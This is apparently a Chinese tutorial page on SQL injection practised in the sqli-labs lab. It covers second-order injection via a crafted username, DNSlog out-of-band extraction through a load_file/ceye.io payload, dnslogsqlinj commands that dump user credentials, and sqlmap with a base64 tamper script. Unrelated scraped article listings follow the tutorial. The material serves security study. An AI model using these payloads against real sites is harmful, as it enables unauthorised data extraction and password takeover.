#sql注入之二次注入

1.注入原理

二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入可分为两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

2.靶场演示

sqlilabs第24关

发现默认用户为admin密码未知

尝试新建一个用户admin'#进行二次注入

查看数据库,已经添加成功

登陆admin'#

可以修改密码,我们查看此页面的网站源码,发现更新用户密码的sql语句如图:

我们修改用户admin'#的密码的SQL语句为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

注释掉后面的语句,就变成了修改用户admin的密码了,而admin'#用户密码没有改变。

#DNSlog带外注入

1.带外注入原理

带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。也就是利用其他的协议或渠道,如http请求、DNS解析、SMB服务等京数据带出。

2.靶场演示

首先在http://ceye.io/注册一个账号,记录以下信息

使用sqlilabs第9关进行演示

不会显示任何信息:

构造pylaod:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+

在平台上查看返回的值:

3.工具使用

工具地址 :https://github.com/adooo/dnslogsqlinj

需要使用python27环境

首先需要修改配置文件:

使用语句如下:

获取数据库名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

#sql注入加解密

小伙伴们可能会碰到有的url中有base64编码或者其他编码,在此类注入时我们需要先够造注入语句再进行转码,最后得到的编码再注入。

sqlmap中有相应的插件,可使用语句:

sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs

或者进行中转注入:

大体意思就是将传参用base64编码,再与url进行拼接。在开启htt服务用sqlmap或其他工具进行测试这个文件即可.

首先构造文件:

大体意思就是将传参用base64编码,再与url进行拼接。

其中base64_decode()函数是将传入的参数进行base64编码。

file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法。

例如sqlmap:

python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3

SQL注入之二次,加解密,DNS等注入的更多相关文章

  1. 十七:SQL注入之二次加解密,DNS注入

    加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...

  2. 在SQL SERVER中实现RSA加解密函数(第一版)

    /*************************************************** 作者:herowang(让你望见影子的墙) 日期:2010.1.1 注:   转载请保留此信息 ...

  3. 在SQL SERVER中实现RSA加解密函数(第二版)

    /*************************************************** 作者:herowang(让你望见影子的墙) 日期:2010.1.5 注: 转载请保留此信息 更 ...

  4. 互联网服务器的实现过程需要考虑哪些安全问题 & 加解密及哈希知识点

    http://www.cnblogs.com/charlesblc/p/6341265.html 其中的一篇. 参考 https://zhuanlan.zhihu.com/p/20336461?ref ...

  5. 惊呆了!不改一行 Java 代码竟然就能轻松解决敏感信息加解密|原创

    前言 出于安全考虑,现需要将数据库的中敏感信息加密存储到数据库中,但是正常业务交互还是需要使用明文数据,所以查询返回我们还需要经过相应的解密才能返回给调用方. ps:日常开发中,我们要有一定的安全意识 ...

  6. Oracle中的加解密函数

    对Oracle内部数据的加密,可以简单得使用DBMS_CRYPTO来进行,效果还是不错的,而且使用也比较方便,所以今天专门来学习一下这个包的使用方法.在使用之前,要注意两件事情: 1.DBMS_CRY ...

  7. RSA 加解密算法

    与DES不同,RSA算法中,每个通信主体都有两个钥匙,一个公钥一个私钥. 就是有2把钥匙1.使用publicKey可以对数据进行加密2.使用Key才能对数据进行解密单方向传输用公钥加密的数据,只有私钥 ...

  8. 编码,加解密,签名,Hash

    工作中会听到各种各样是是而非的词汇,base64,url,sha256,rsa,hash等等,你能很好的分清这些词语吗? 这次我想把它们统一的整理说明下: 一: 编码 编码是信息从一种形式或格式转换为 ...

  9. SpringBoot+ShardingSphere彻底解决生产环境数据库字段加解密问题

    前言   互联网行业公司,对于数据库的敏感字段是一定要进行加密的,方案有很多,最直接的比如写个加解密的工具类,然后在每个业务逻辑中手动处理,在稍微有点规模的项目中这种方式显然是不现实的,不仅工作量大而 ...

随机推荐

  1. SpringBoot线程池的创建、@Async配置步骤及注意事项

    最近在做订单模块,用户购买服务类产品之后,需要进行预约,预约成功之后分别给商家和用户发送提醒短信.考虑发短信耗时的情况所以我想用异步的方法去执行,于是就在网上看见了Spring的@Async了. 但是 ...

  2. BIM,PIM接入GIS 需要解决的关键技术问题

    随着技术发展,跨界融合已经不是新鲜事物,近两年BIM.PIM+GIS一张图的提出,给行业注入了一股清流. 为GIS行业发展带来了新的契机,同时也带来了一些新的挑战.面对挑战,本文将剖析BIM.PIM+ ...

  3. 【dp】背包问题

    01背包 呐,为什么叫它01背包呢,因为装进去就是1,不装进去就是0.所以针对每个物品就两种状态,装,不装(请允许我用这么老套的开篇,相信听过很多次背包讲解的人,大多都是这个开篇的)所以咯,我这个背包 ...

  4. CMD批处理(5)——自动以管理员身份运行批处理脚本

    在日常运维工作中,为方便对windows用户进行系统安装或配置等,使用Windows自带的批处理(bat文件)是一种最为简单快速的方法. 批处理脚本不会默认已管理员身份运行,一般情况下,我会将脚本命名 ...

  5. SpringBoot系列(十五)整合缓存,项目会用得到的技术

    一.缓存有什么用?  缓存应该是我们每一个系统都应该考虑使用的,这样可以加速系统的访问,提升系统的性能.比如我们经常需要访问的高频数据,将此类数据放在缓存中,可以大幅度提升系统的响应速度.原因就是一般 ...

  6. Java核心反射机制

    Java核心反射机制: 基本反射: 反射是一种动态类的处理机制,通过Class类来实现反射机制: Class类的基本信息: Module java.base Package java.lang Cla ...

  7. FlowNet:simple / correlation 与 相关联操作

    Flow Net : simple / correlation 与 相关联操作 ​ 上一篇文章中(还没来得及写),已经简单的讲解了光流是什么以及光流是如何求得的.同时介绍了几个光流领域的经典传统算法. ...

  8. HDU 4445 Crazy Tank 高中物理知识忘得差不多了

    题意不难理解,仔细看题吧,就不说题意了 #include <iostream> #include <cstdio> #include <cstring> #incl ...

  9. Centos 8 误删/boot文件夹下文件后的恢复

    一.环境 Centos8 二.过程 1.查看/boot底下文件 ls /boot 2.模拟误删/boot底下文件 rm -rf /boot/*ls /boot 3.reboot,无法正常启动 4.在v ...

  10. 前端笔记:Html页面常用元素

    Html页面由基本几个元素(标签)组成 html.head.body.foot(很少使用). html是整个页面的父级元素,内部包括head.body.foot子类标签. head是页头,及页面的头部 ...